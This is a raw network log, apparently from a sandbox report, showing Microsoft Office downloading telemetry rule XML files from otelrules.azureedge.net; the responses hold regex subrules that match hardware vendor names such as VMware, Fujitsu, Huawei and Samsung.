2024-11-26 07:04:36 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:36 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070436Z-174f7845968zgtf6hC1EWRqd8s0000000n40000000001p45 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:37 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.8	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:36 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 106d127d-401e-008c-1a91-3f86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070436Z-174f7845968nxc96hC1EWRspw80000000usg000000009hzm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:37 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.8	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:36 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:36 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070436Z-174f7845968vqt9xhC1EWRgten0000000v6g000000002989 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:37 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.8	49863	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:36 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:37 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:36 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070436Z-174f78459685726chC1EWRsnbg0000000v80000000000me5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.8	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:38 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:39 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070439Z-174f7845968cdxdrhC1EWRg0en0000000v50000000000azg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:39 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.8	49866	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:38 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:39 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070439Z-174f7845968j6t2phC1EWRcfe80000000v90000000003w6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:39 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.8	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:38 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:39 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070439Z-174f7845968px8v7hC1EWR08ng0000000v8g00000000ak0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:39 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.8	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:38 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:39 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070439Z-174f7845968glpgnhC1EWR7uec0000000v5000000000c7n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:39 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.8	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:38 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:39 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:39 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070439Z-174f7845968px8v7hC1EWR08ng0000000vag0000000068bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:39 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.8	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:41 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:41 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: f440c5dc-801e-0047-7891-3f7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070441Z-174f7845968cdxdrhC1EWRg0en0000000v3g000000002rur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:41 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.8	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:41 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:41 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: baa0830a-001e-0082-4291-3f5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070441Z-174f7845968kvnqxhC1EWRmf3g0000000dwg000000005z8d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:41 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.8	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:04:41 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 07:04:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 07:04:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: c3d74fa2-201e-0003-1d91-3ff85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T070441Z-174f7845968g6hv8hC1EWR1v2n0000000340000000000d8h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 07:04:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" 